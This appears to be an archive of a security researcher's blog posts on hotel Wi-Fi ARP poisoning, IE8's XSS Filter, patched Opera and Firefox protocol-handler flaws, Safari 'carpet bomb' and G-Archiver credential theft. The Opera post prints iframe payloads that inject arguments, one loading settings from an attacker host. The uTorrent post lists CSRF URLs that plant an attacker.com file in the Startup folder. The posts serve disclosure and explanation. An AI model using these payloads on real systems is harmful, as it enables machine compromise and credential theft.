Hostile Hotel Networks?!?!

Dark Reading recently had an interesting article related to the security of Hotel networks; you can find the article I'm talking about here.

As I read the article... I couldn't help but smile... the article made it seem like Hotels have horribly insecure networks!  The truth is, THEY DO…along with airports, coffee shops, bookstores and pretty much ANY PLACE that offers up connectivity!

Some people fail to understand that when you join ANY network, you’re trusting that everyone on the network is playing nicely.  Many of the protocols that enable our network connectivity WERE NOT DESIGNED TO SECURELY SUPPORT THE SCENARIOS WE DEMAND TODAY.  Take for example, Address Resolution Protocol (ARP).  ARP is the one protocol that really makes me paranoid.  The details of how ARP works and how it can be used to do evil is way beyond the scope of this post, but you find some good information here, here, and here.

The ARP abuses I'm most interested in are ARP Poisoning attacks.  These attacks basically allow me to Man-in-the-Middle (MITM) network connections, typically from a victim’s machine to their gateway.  Now ARP poisoning attacks have one MAJOR drawback (from an attacker standpoint), they typically require the victim to be on the same network as the attacker (in layman’s terms).  Ask yourself this question.... why would I ever join an un-trusted network and possibly subject myself to such attacks? 

Surprisingly, people join un-trusted networks all time.  If you've ever associated to a wireless access point at a coffee shop, hotel, bookstore, or an airport.... you've joined an un-trusted network… IT’S THAT SIMPLE.  Just because the SSID and the welcome page has a familiar name/logo that you trust, THAT DOESNT MEAN THAT YOU CAN TRUST EVERYONE ELSE CONNECTED TO THAT NETWORK, and if you can’t trust everyone connected to the network, then you’ve got yourself an un-trusted network.  Now, MITM on “secure” connections (SSL aka HTTPS) usually causes a warning to appear (every major browser has this protection mechanism in place), and while I haven’t seen any studies on click through rate, I would guess that it’s pretty high.





Airports are a PRIME target for MITM, as they are typically filled with people using the available wireless access points to do business.  Many of these people are not technically savvy and more importantly, THEY ARE IN A HURRY, which brings them to push past warning message after warning message in order to "get this out before my plane leaves!"  If someone wanted to harvest a TON of sensitive information (creds to banking accounts, usernames, passwords, emails... everything you can possibly imagine), all they would have to do is connect to the airport wireless network, ARP poison every host they see... and let the creds roll in.  It's that simple... trust me...  I've seen it firsthand...  I can guarantee that you'll have someone’s creds within 5 minutes...

Security pros will argue, “you can use a VPN” and they are right.  If you are a corporate user, you shouldn’t even THINK about sending anything through an external, un-trusted network unless it’s through the VPN… but what about the home user?  What about mom and pop, traveling on vacation… where is their VPN?  Judging from the success of these attacks, even if a stern warning is presented, many users just ignore the warnings and continue on their merry way.  Scores of software will silently ignore certificate warnings, happily passing information onto a suspect host.  Besides, those warnings are only displayed when encryption is in play, so that unsuspecting user that is browsing their webmail over HTTP gets their session stolen without warning.  It's truly amazing how noisy our computers have become, spitting out all sorts of info... trusting that everyone else on the network is playing nicely.

Let’s say you understand the risks of MITM and you have to email something out before your plane leaves.  You attempt to connect to your VPN server and you see a certificate warning.  You suspect that someone may have an MITM against you using ARP Poisoning... what can you do to protect yourself and still get the email out?

IE8b2 XSS Filter

I run a number of different browsers, for various reasons.  I was once even called a “browserholic” by a colleague!   I pulled down IE8b2 when it went live a week ago.  I don’t want to talk about the myriad of security features or browsing features as I think they’ve been covered in detail by many different sources, but I do want to mention one security feature… XSS Filter

XSS Filter was created by David Ross… he’s one of the smartest guys I’ve ever met.  In addition to being super smart, there is a certain boldness needed to take the lead in developing Internet Explorer’s built-in defense for the bane of the web.  David asked a number of security pros around the world to take a look at XSS Filter and I’m honored to have been asked to help.  You can see some of the names of those who participated in XSS-Filter’s creation here.


Thanks David and CONGRATS on the release!


Some technical details with regards to XSS-Filter can be found here.

Opera Stuff - Followup

It always takes me a few weeks to work the booze out of my system after Blackhat and Defcon... but on the show...

 

Opera 9.52 was released a few days ago...  I hope you've upgraded!  Working with the Opera Security Team was a pleasure.  I think they have the most creative way of tracking each bug (by email address) and they were VERY responsive. 

 

A while back, I reported an issue to the Opera Security Team about some Opera protocol handling abuse I came across.  You can read the initial advisory here.  Now, when the initial advisory went out, the Opera Security Team asked me to hold off on the details until they published a follow up advisory, which can be found here.  Since the issue is patched and the second advisory is out, lets go over the details:

 

First of all... this is a cross application issue (I think Blended Threat is the sexy term being used these days).  We'll use a protocol handling "aware" application to launch these attacks against Opera.  Opera just has to be installed someplace on the victim's machine for this to work.

 

When a user installs Opera, the following protocol hanlder is registered:

 

Opera.Protocol  "C:\Program Files\Opera\Opera.exe" "%1"

 

Which means.. when I call Opera.Protocol://test, the following basically gets passed to the command line (this is a simplified explanation, but hey... I'm a simple guy).

 

c:\Program Files\Opera\Opera.exe "Opera.Protocol://test"

 

Knowing this and determining that no internal check is done to distinguish between protocol handling and command line access, we are free to inject arbitrary arguments, which will be passed to Opera.  In the first example, we will inject the location of a local html file.  When the html file is loaded a warning will be presented to the user, but the contents will be rendered regardless of the user decision.  The protocol handling string we use looks like this:

 

<iframe src =  'opera.protocol:www.test.com" "file://c:\test.html '>

 

which ends up executing the following:

 

c:\program files\opera\opera.exe "opera.protocol:www.test.com" "file://c:\test.html"

 

If we can somehow place an html file to a known location this would be bad.  For arguments sake, lets assume Nate Mcfeters didn't figure out a way to drop arbitrary content to a known location a few days ago (did I say that outloud?) ... what else can we do?

 

Taking a look at the command line arguments supported by Opera, we see a couple interesting items... one of which is the "/settings" argument.  the "/settings" argument allows for Opera.exe to be loaded with an arbitrary INI file.  A quick examination of what's contained in an Opera INI file shows that if we can control the contents of the INI file, then we can control:  Cache directories, debugging mode, proxy settings, script execution, java behavior, whether items are automatically RUN after downloading... the list goes on and on...

 

<iframe src =  'opera.protocol:www.test.com" /settings "//attacker-ip/ini-file.ini '>

 

which will result in something like this:

 

c;\program files\opera\opera.exe "opera.protocol:www.test.com" /settings "//attacker-ip/ini-file.ini"

 

OUCH....Thankfully... the Opera Security Team has fixed this particular issue!  Kudos to them!

FireFox Vulns - MFSA 2008-35

Mozilla issued a patch related to an issue I recently reported to them.  The MFSA with details on the issue can be found here.  It's an interesting issue that demonstrates some of the complexities related to interaction between software from different vendors.  This particular issue makes use of one of my favorite attack vectors, protocol handlers.  The protocol handlers involved in this situation create an opportunity to pass "a command-line URI with the pipe symbols" from a remote webpage to FireFox.exe.  For those that are interested, I'll provide a small writeup on the issue this weekend.  For those waiting, I'll also provide a writeup on the Opera protocol handling issue leading to RCE when the Opera team is ready.

 

It's a crazy coincidence that the FireFox and Opera vulnerabilities come almost one year to the date after Nate McFeters and I reported the original firefoxurl and mailto protocol handling vulnerabilities... and I use the term "reported" loosely :).  Nate and I have changed over the past year... we're both older and fatter, but it seems that protocol handlers continue to be as vulnerable as ever.

 

In closing, I want to thank the Mozilla Security Team (Dan Veditz in particular) and the Apple Security Team for working with me on this issue.  It would have been easy for them to point fingers at the other organization, but both teams took responsibility for their portion and comitted to changes.  Thanks guys!  I'll buy the beers in Vegas!

Clarification for "BK on Safari, hunting Firefox…"

Is Safari 3.12 affected by the vulnerability you mention in, BK on Safari, hunting Firefox?  The “carpet bomb” behavior COULD have been used in conjunction with Firefox to steal user files.  This specific scenario has been patched.

 

Can an attacker use other, non-obvious ways to abuse the Safari (3.12)/Firefox interaction to steal files from the local file system?  Yes, I know of three separate methods to accomplish this (Firefox 3 lessens the risk).  Vendors have been informed and no details will be provided to the public.  Don’t ask for additional details, I won’t give them until all this is straightened out.  

 

Whose fault is this?  That’s the whole point of the post.  We have interaction between different software from different vendors.  In isolation, the behaviors that are being abused here are not a high risk.  It’s only when you combine the behaviors does it constitute a risk.  Who should we blame?  I don’t know, I don’t think anyone really knows… lots of people have their opinions though. :)

 

 

 

BK on Safari, hunting Firefox...

Apple released a patch for their “Carpet Bomb” issue today.  I’m glad to see that Apple took steps to protect their users.  Kudos to the Apple Security team!   

 

There was a lot of discussion about how this behavior could be used in a “blended” attack with IE, but Safari’s behavior affected more than just IE. In fact, I’ve discovered a way to use the Safari’s carpet bomb in conjunction with Firefox to steal user files from the local file system.  Even though Apple has patched the carpet bomb, I’m not going to go into details as the issue is not patched and the behavior may be replicated via other means (it’s the kinder, gentler BK).  I’m also happy to say that some of the improved security features in Firefox 3 help lower (but do not eliminate) the impact of the issue (Firefox 2 users could still be at risk of arbitrary file pwnage). Mozilla is working on the issue and they’ve got a responsive team, so I’m sure we’ll see a fix soon. 

 

• UNREALTED NOTE TO MOZILLA:  Firefox 3 shouldn’t FORCE itself to be my default browser after I install it (YES, I unchecked the default browser checkbox during install)

 

Now, these types of vulnerabilities are a perfect example of how the all the software and systems we use are part of a giant ecosystem.  Whether we like it or not, the various parts of the ecosystem are intertwined with each other, depending on each other.  When one piece of the ecosystem gets out of line, it can have a dramatic effect on the ecosystem as a whole.  A small vulnerability or even an “annoying” behavior from one piece of software could alter the behavior of 2nd piece of software, which a 3rd piece of software is depending on for a security decision (The recent pwn2own browser -> java -> flash pwnage is a great example of this).  As the ecosystem grows via plugins, functionality, and new software, so does the attack surface.  Eventually, the interactions between systems and software become a gigantic mesh and the attack surface becomes almost infinite.

 

Now, a lot of people have criticized Apple for their inability to see the carpet bombing behavior as a security issue.  If Apple looked at their product (Safari) in isolation, maybe it wasn’t a high risk security issue to them and it was really more of an annoyance… its only when you look at the ecosystem as a whole do we start to see the security implications of this behavior.  Should we have expected Apple to threat model the risks of this behavior against their own products AND other third party products as well?  Can we reasonably expect them (or anyone) to have the requisite knowledge to truly understand how certain behavior will affect the ecosystem? 

 

This brings us to a pressing question.  In the "real world", users install products from multiple vendors.  Whose responsibility is it to examine the interaction between all these products?

CSRF pwns your box?!?!

Before going talking about an interesting set of CSRF vulnerabilities that were released this weekend, I did want to take a few moments to do some "housekeeping" on the recent spreadsheets.google.com XSS.  (1) I gave the Google Security Team the details for this particular issue well before talking about it on my blog.  (2) The described issue was fixed by the GST before I even considered publically speaking about the vuln.  (3)  Part of the vulnerability involved a caching flaw in Google's servers, this issue is specific to Google and it was also fixed...   OK, on to the good stuff...
         
         
A few weeks ago, Rob Carter told me about a few interesting CSRF vulnerabilities that he discovered in a uTorrent plugin (he publicly disclosed them this weekend).  Rob was able to chain together the CSRF vulnerabilities and the net result is complete compromise of the victim’s machine!  I think this may be the first PURE CSRF vulnerability that I've seen that resulted in compromise of a victims machine (there is an argument amongst some of my colleagues as to whether protocol handling/URI vulnerabilities are actually a form of CSRF, but that’s another story).  The series of vulnerabilities basically follow this flow:
         
When a user installs the uTorrent Web UI plugin. the plugin essentially starts a locally running web server on your machine (in order to serve the Web UI).  Rob targets the CSRF vulnerabilities associated with this locally running web server.

• Rob uses a first CSRF to turn on the "Move completed downloads" option on the uTorrent Web UI.  The CSRF looks something like this:
  http://localhost:14774/gui/?action=setsetting&s=dir_completed_download_flag&v=1

         

• Once Rob has "turned on" the "Move completed downloads" functionality, he uses a second CSRF to change the path of where the completed torrent download is placed.  In the example he gives, he forces the uTorrent plugin to move completed torrent downloads to the Windows startup folder.  This CSRF looks something like this:
  http://localhost:14774/gui/?action=setsetting&s=dir_completed_download&v=C:\Documents%20and%20Settings\All%20Users\Start%20Menu\Programs\Startup

         
         

• The last step in Rob’s example forces the victim to download a torrent which points to an attacker controlled bat file.  Once the file is downloaded, uTorrent places the files into the victim’s startup folder (thanks to the first two CSRFs).  This CSRF looks something like this:
   http://localhost:14774/gui/?action=add-url&s=http://www.attacker.com/file.torrent

                   

Once the file is placed, the next time the user restarts their machine, the attacker controlled file will be run...  there you have it... compromise of a victim’s system through three CSRFs!  Scary stuff... you can read more about the issue on Robs Blog <robs blog>.

ToorCon ROCKED!

ToorCon this weekend totally ROCKED.  Any venue that has flaming tetherball, major websites getting pwnd, hawt hacker chics pwning backbone protocols, java 0-days, and free beer has to ROCK.  All the talks I caught were awesome and the con has inspired me to look into some new avenues of research (aka pwnage). 

      

Thanks to H1kari, tim, Geo, and Phil for having me out!

Mark Dowd scares me....

If you haven't heard yet, Mark Dowd chopped up a Flash vulnerability ninja style and released a 25 page whitepaper describing his attack.  It's truly a work of art and can be found here. <pdf>

    

I'm not even going to attempt to describe any portion of this attack (just thinking about it makes my head hurt), but Thomas Ptacek from Matasano has a great writeup <writeup>

Reflections on Trusting Trust

For those who have never read the classic "Reflections on Trusting Trust", you can find it here.  Reflections is a easy read on the perils of running un-trusted code on your machine.  It's a concept that's foreign to many users as we typically run "un-trusted" HTML and clientside scripts from web sites thousands of times a day, praying that he browser sandbox and same origin policy saves us...  I mean.. can you really trust the underlying content from this blog?

   

Of course, downloading and running code on you machine is EVEN MORE DANGEROUS.  It doesn't matter what kind of browser protections you have, once you execute code from an untrusted source, you're at the mercy of that developer.  Do you really trust the publishers of all those plugins and add-ons you are running?  A perfect example of this... is G-Archiver.  G-Archiver is a program that can be used to backup your Gmail messages to an offline source.  Apparently, after some tinkering with DotNet Reflector (great tool btw), Dustin Brooks discovered a HARD CODED Gmail username and password in the source.  Upon further investigation, Dustin realized that users of G-Archiver were silently getting their Gmail Creds posted to a Gmail account belonging to the creator of the G-Archive tool (John Terry).  Here's a screen shot of what Dustin saw:

   





     

Luckly, I've been conditioned (mostly by the pranksters at the Advanced Security Center in Houston) not to trust anything...

   

Links and Links